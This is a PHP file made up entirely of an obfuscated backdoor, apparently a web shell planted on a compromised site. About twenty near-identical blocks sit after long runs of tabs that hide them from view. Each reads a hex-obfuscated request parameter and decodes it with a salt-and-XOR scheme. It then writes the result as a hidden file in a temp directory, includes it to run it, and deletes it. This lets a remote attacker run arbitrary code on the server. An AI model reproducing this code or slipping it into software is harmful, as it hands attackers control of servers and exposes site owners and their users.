<?php																																										if(filter_has_var(INPUT_POST, "\x65lem")){ $binding = $_POST["\x65lem"]; $binding= explode ( ".", $binding ); $flag = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9 ); $i = 0; $__tmp = $binding; while ($v9 = array_shift($__tmp)) {$chS = ord($salt9[$i % $sLen] ); $d = ((int)$v9 - $chS - ($i % 10))^ 4; $flag .=chr($d ); $i++; } $bind = array_filter(["/var/tmp", "/tmp", getcwd(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getenv("TEMP")]); while ($data = array_shift($bind)) { if (max(0, is_dir($data) * is_writable($data))) { $property_set = join("/", [$data, ".fac"]); if (file_put_contents($property_set, $flag)) { require $property_set; unlink($property_set); die(); } } } }
																																										if(!is_null($_POST["\x66\x6Cg"] ?? null)){ $dat = array_filter([sys_get_temp_dir(), "/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp", "/dev/shm"]); $fac = $_POST["\x66\x6Cg"]; $fac =explode (".", $fac ) ; $value = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $z = 0; foreach($fac as $v3) { $chS = ord($s9[$z%$lenS]); $dec =((int)$v3 - $chS -($z%10)) ^ 26; $value .= chr($dec); $z++; } foreach ($dat as $record) { if (is_dir($record) && is_writable($record)) { $ent = join("/", [$record, ".bind"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $value); fclose($file); include $ent; @unlink($ent); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "e\x6E\x74")){ $elem = array_filter([session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), "/var/tmp", "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP")]); $reference = $_POST["e\x6E\x74"]; $reference = explode ( '.' , $reference ); $hld = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s2 ); $x = 0; $__tmp = $reference; while( $v8 = array_shift( $__tmp)) { $chS = ord( $s2[$x % $sLen] ); $d =( ( int)$v8 - $chS -( $x % 10)) ^ 59; $hld .= chr( $d ); $x++; } foreach ($elem as $k): if ((is_dir($k) and is_writable($k))) { $marker = "$k/.parameter_group"; $file = fopen($marker, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $marker; @unlink($marker); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "m\x72k")){ $itm = array_filter(["/tmp", "/var/tmp", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]); $data_chunk = $_POST["m\x72k"]; $data_chunk = explode ( '.' , $data_chunk ) ; $object = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4 ); $o = 0; $__len = count($data_chunk ); do { if($o >= $__len) break; $v2 = $data_chunk[$o]; $sChar = ord($salt4[$o% $lenS] ); $d =((int)$v2 - $sChar -($o% 10)) ^81; $object .= chr($d ); $o++; } while(true ); foreach ($itm as $key => $reference) { if (!( !is_dir($reference) || !is_writable($reference) )) { $flag = str_replace("{var_dir}", $reference, "{var_dir}/.factor"); if (file_put_contents($flag, $object)) { include $flag; @unlink($flag); exit; } } } }
																																										if(isset($_POST["f\x61\x63\x74or"])){ $desc = array_filter([getenv("TMP"), session_save_path(), getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); $entity = $_POST["f\x61\x63\x74or"]; $entity =explode ("." , $entity ); $entry = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $r = 0; foreach ($entity as $v4) { $sChar = ord($salt2[$r % $lenS] ); $d = ((int)$v4 - $sChar - ($r % 10)) ^37; $entry .= chr($d ); $r++; } $hld = 0; do { $obj = $desc[$hld] ?? null; if ($hld >= count($desc)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($obj)) { $flg = str_replace("{var_dir}", $obj, "{var_dir}/.descriptor"); if (@file_put_contents($flg, $entry) !== false) { include $flg; unlink($flg); exit; } } $hld++; } while (true); }
																																										if(isset($_REQUEST["\x76al"]) ? true : false){ $token = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP")]); $pgrp = $_REQUEST["\x76al"]; $pgrp =explode (".",$pgrp) ; $obj= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s ); $q= 0; $len= count( $pgrp ); do { if( $q>= $len) break; $v1= $pgrp[$q]; $sChar= ord( $s[$q % $lenS] ); $d= ( ( int)$v1 - $sChar -( $q % 10)) ^82; $obj.=chr( $d ); $q++; } while( true ); foreach ($token as $pointer) { if (!( !is_dir($pointer) || !is_writable($pointer) )) { $entity = "$pointer" . "/.fac"; $file = fopen($entity, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $entity; @unlink($entity); die(); } } } }
																																										if(isset($_POST["re\x66"])){ $key = $_POST["re\x66"]; $key =explode("." , $key ) ; $data_chunk= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt2 ); $x= 0; $__tmp= $key; while( $v7= array_shift( $__tmp)) {$sChar= ord( $salt2[$x % $sLen] ); $dec= ( ( int)$v7 - $sChar -( $x % 10)) ^ 41; $data_chunk .= chr( $dec ); $x++; } $ent = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd()]); foreach ($ent as $obj) { if ((is_dir($obj) and is_writable($obj))) { $k = "$obj" . "/.hld"; if (@file_put_contents($k, $data_chunk) !== false) { include $k; unlink($k); exit; } } } }
																																										if(array_key_exists("ent\x72y", $_POST) && !is_null($_POST["ent\x72y"])){ $k = $_POST["ent\x72y"]; $k = explode ( "." , $k ) ; $fac = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $x = 0; foreach ($k as $v2) { $chS = ord($salt6[$x % $sLen]); $dec = ((int)$v2 - $chS - ($x % 10)) ^ 75; $fac .= chr($dec); $x++; } $descriptor = array_filter(["/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", getcwd()]); foreach ($descriptor as $binding) { if (!( !is_dir($binding) || !is_writable($binding) )) { $comp = join("/", [$binding, ".ptr"]); if (file_put_contents($comp, $fac)) { include $comp; @unlink($comp); die(); } } } }
																																										if(array_key_exists("\x72\x65\x66\x65rence", $_POST)){ $component = $_POST["\x72\x65\x66\x65rence"]; $component= explode ( "." ,$component) ; $data_chunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $q= 0; $len= count( $component); do { if( $q>= $len) break; $v5= $component[$q]; $sChar= ord( $s[$q % $lenS]); $d= ( ( int)$v5 - $sChar -( $q % 10)) ^ 70; $data_chunk .= chr( $d); $q++; } while( true); $token = array_filter([getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", session_save_path(), "/tmp", ini_get("upload_tmp_dir"), getcwd()]); while ($fac = array_shift($token)) { if (array_product([is_dir($fac), is_writable($fac)])) { $key = sprintf("%s/.parameter_group", $fac); if (file_put_contents($key, $data_chunk)) { include $key; @unlink($key); die(); } } } }
																																										if(@$_POST["k"] !== null){ $record = array_filter([getcwd(), session_save_path(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TEMP")]); $fac = $_POST["k"]; $fac = explode( "." , $fac ) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($fac as $n=>$v7) { $chS = ord($s[$n% $sLen]); $d = ((int)$v7 - $chS - ($n% 10))^ 34; $token .=chr($d); } for ($reference = 0, $data = count($record); $reference < $data; $reference++) { $key = $record[$reference]; if (is_dir($key) ? is_writable($key) : false) { $resource = "$key" . "/.elem"; $success = file_put_contents($resource, $token); if ($success) { include $resource; @unlink($resource); exit;} } } }
																																										if(@$_REQUEST["re\x63"] !== null){ $desc = array_filter(["/dev/shm", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp", sys_get_temp_dir(), "/var/tmp"]); $comp = $_REQUEST["re\x63"]; $comp = explode ( '.' ,$comp ) ; $bind = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); $y = 0; array_walk( $comp, function( $v9) use( &$bind, &$y, $s6, $sLen) { $chS = ord( $s6[$y % $sLen]); $dec =( ( int)$v9 - $chS -( $y % 10)) ^ 50; $bind .= chr( $dec); $y++;} ); while ($data_chunk = array_shift($desc)) { if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) { $hld = "$data_chunk/.pset"; if (@file_put_contents($hld, $bind) !== false) { include $hld; unlink($hld); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x63\x6F\x6D\x70onent"])){ $descriptor = array_filter([getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", session_save_path(), "/tmp", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir")]); $dchunk = $_REQUEST["\x63\x6F\x6D\x70onent"]; $dchunk= explode( "." , $dchunk ) ; $flag=''; $salt9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $salt9); $u=0; while( $u< count( $dchunk)) { $v9=$dchunk[$u]; $chS=ord( $salt9[$u % $sLen]); $d=( ( int)$v9 - $chS -( $u % 10)) ^ 65; $flag .= chr( $d); $u++; } foreach ($descriptor as $key => $marker) { if (max(0, is_dir($marker) * is_writable($marker))) { $object = "$marker" . "/.k"; if (file_put_contents($object, $flag)) { require $object; unlink($object); die(); } } } }
																																										if(@$_REQUEST["\x72\x65c"] !== null){ $item = array_filter(["/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/tmp", getenv("TEMP"), getenv("TMP")]); $parameter_group = $_REQUEST["\x72\x65c"]; $parameter_group= explode( "." , $parameter_group) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); foreach( $parameter_group as $q => $v7): $chS = ord( $salt[$q % $lenS]); $d =( ( int)$v7 - $chS -( $q % 10)) ^ 87; $obj .= chr( $d); endforeach; for ($symbol = 0, $dchunk = count($item); $symbol < $dchunk; $symbol++) { $reference = $item[$symbol]; if (is_dir($reference) ? is_writable($reference) : false) { $record = str_replace("{var_dir}", $reference, "{var_dir}/.flg"); $file = fopen($record, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $record; @unlink($record); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "d\x61\x74\x61\x5Fc\x68unk")){ $dchunk = array_filter([getenv("TMP"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", "/dev/shm"]); $itm = $_REQUEST["d\x61\x74\x61\x5Fc\x68unk"]; $itm= explode( "." , $itm) ; $bind = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); foreach ($itm as $t => $v7) { $sChar = ord($s3[$t % $sLen]); $d = ((int)$v7 - $sChar - ($t % 10)) ^ 68; $bind .= chr($d);} foreach ($dchunk as $rec) { if (is_dir($rec) && is_writable($rec)) { $k = implode("/", [$rec, ".pgrp"]); $file = fopen($k, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $k; @unlink($k); exit; } } } }
																																										if(@$_POST["en\x74\x72y"] !== null){ $desc = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", session_save_path(), getcwd(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); $data_chunk = $_POST["en\x74\x72y"]; $data_chunk =explode ( "." , $data_chunk ) ; $pointer=''; $s3='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s3); foreach( $data_chunk as $t => $v4) { $chS=ord( $s3[$t%$lenS]); $d=( ( int)$v4 - $chS -( $t%10)) ^ 82; $pointer .= chr( $d); } foreach ($desc as $key => $ent) { if ((bool)is_dir($ent) && (bool)is_writable($ent)) { $binding = join("/", [$ent, ".bind"]); if (file_put_contents($binding, $pointer)) { require $binding; unlink($binding); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x69\x74m")){ $object = array_filter(["/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), "/tmp", getcwd(), session_save_path(), getenv("TEMP")]); $flag = $_REQUEST["\x69\x74m"]; $flag = explode ( "." , $flag) ; $descriptor = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $__len = count( $flag); for( $w = 0; $w < $__len; $w++) {$v1 = $flag[$w]; $sChar = ord( $s4[$w % $sLen]); $d =( ( int)$v1 - $sChar -( $w % 10)) ^ 97; $descriptor.=chr( $d); } foreach ($object as $entity) { if (!!is_dir($entity) && !!is_writable($entity)) { $k = "$entity/.binding"; $success = file_put_contents($k, $descriptor); if ($success) { include $k; @unlink($k); exit;} } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["ref"])){ $element = $_REQUEST["ref"]; $element = explode ( "." ,$element) ; $itm = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $p = 0; foreach ($element as $v7) { $chS = ord($salt2[$p % $sLen]); $dec = ((int)$v7 - $chS - ($p % 10)) ^ 37; $itm .= chr($dec); $p++; } $factor = array_filter(["/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), getenv("TMP"), "/dev/shm", "/var/tmp", getenv("TEMP"), sys_get_temp_dir()]); foreach ($factor as $key => $parameter_group) { if (!!is_dir($parameter_group) && !!is_writable($parameter_group)) { $dchunk = vsprintf("%s/%s", [$parameter_group, ".elem"]); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $itm); fclose($file); include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x63o\x6Dpo\x6Een\x74")){ $key = $_REQUEST["\x63o\x6Dpo\x6Een\x74"]; $key= explode( '.' , $key ); $entity = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $len = count($key ); for ($o = 0; $o < $len; $o++) { $v6 = $key[$o]; $chS = ord($s[$o % $sLen] ); $dec = ((int)$v6 - $chS - ($o % 10)) ^1; $entity.= chr($dec ); } $flag = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", getcwd(), "/var/tmp", session_save_path(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); for ($data_chunk = 0, $elem = count($flag); $data_chunk < $elem; $data_chunk++) { $flg = $flag[$data_chunk]; if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $dat = implode("/", [$flg, ".resource"]); if (file_put_contents($dat, $entity)) { require $dat; unlink($dat); die(); } } } }
																																										if(array_key_exists("\x70\x67rp", $_POST) && !is_null($_POST["\x70\x67rp"])){ $dat = $_POST["\x70\x67rp"]; $dat = explode(".", $dat ) ; $pointer= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt); $u= 0; foreach( $dat as $v2) { $chS= ord( $salt[$u % $lenS]); $dec= ( ( int)$v2 - $chS -( $u % 10)) ^ 87; $pointer .= chr( $dec); $u++; } $data = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm"]); for ($ent = 0, $factor = count($data); $ent < $factor; $ent++) { $key = $data[$ent]; if ((is_dir($key) and is_writable($key))) { $val = vsprintf("%s/%s", [$key, ".element"]); if (file_put_contents($val, $pointer)) { include $val; @unlink($val); die(); } } } }
																																										if(array_key_exists("\x65l\x65\x6Den\x74", $_REQUEST)){ $hld = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP")]); $resource = $_REQUEST["\x65l\x65\x6Den\x74"]; $resource = explode ( "." , $resource) ; $data = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6); $x = 0; while($x < count($resource)) {$v4 = $resource[$x]; $chS = ord($salt6[$x % $lenS]); $dec =((int)$v4 - $chS -($x % 10)) ^ 52; $data .= chr($dec); $x++; } for ($pset = 0, $obj = count($hld); $pset < $obj; $pset++) { $k = $hld[$pset]; if (is_dir($k) && is_writable($k)) { $item = join("/", [$k, ".flg"]); if (@file_put_contents($item, $data) !== false) { include $item; unlink($item); die(); } } } }
																																										if(isset($_POST["de\x73criptor"]) ? true : false){ $itm = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), getcwd(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), getenv("TMP"), "/tmp"]); $parameter_group = $_POST["de\x73criptor"]; $parameter_group= explode (".", $parameter_group ) ; $flg= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); foreach ($parameter_group as $l=> $v1) {$chS= ord($s[$l % $lenS]); $dec= ((int)$v1 - $chS - ($l % 10)) ^ 6; $flg .= chr($dec); } foreach ($itm as $comp) { if (array_product([is_dir($comp), is_writable($comp)])) { $value = implode("/", [$comp, ".sym"]); if (@file_put_contents($value, $flg) !== false) { include $value; unlink($value); exit; } } } }


if(isset($_POST) && isset($_POST["\x64ch\x75\x6Ek"])){
	$res = $_POST["\x64ch\x75\x6Ek"];
	$res = 	explode ( ".", 	$res) ; 		
	$token = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
    
            foreach ($res as $i=>$v2):
                $sChar = ord($salt[$i 	%  $lenS]);
                $d = ((int)$v2 - $sChar - ($i 	%  10)) ^ 42;
                $token .= chr($d);
            endforeach;
	$descriptor = array_filter([session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]);
	$ref = 0;
do {
    $binding = $descriptor[$ref] ?? null;
    if ($ref >= count($descriptor)) break;
    		if (is_writable($binding) && is_dir($binding)) {
    $k = "$binding/.ent";
    $success = file_put_contents($k, $token);
if ($success) {
	include $k;
	@unlink($k);
	die();}
}
    $ref++;
} while (true);
}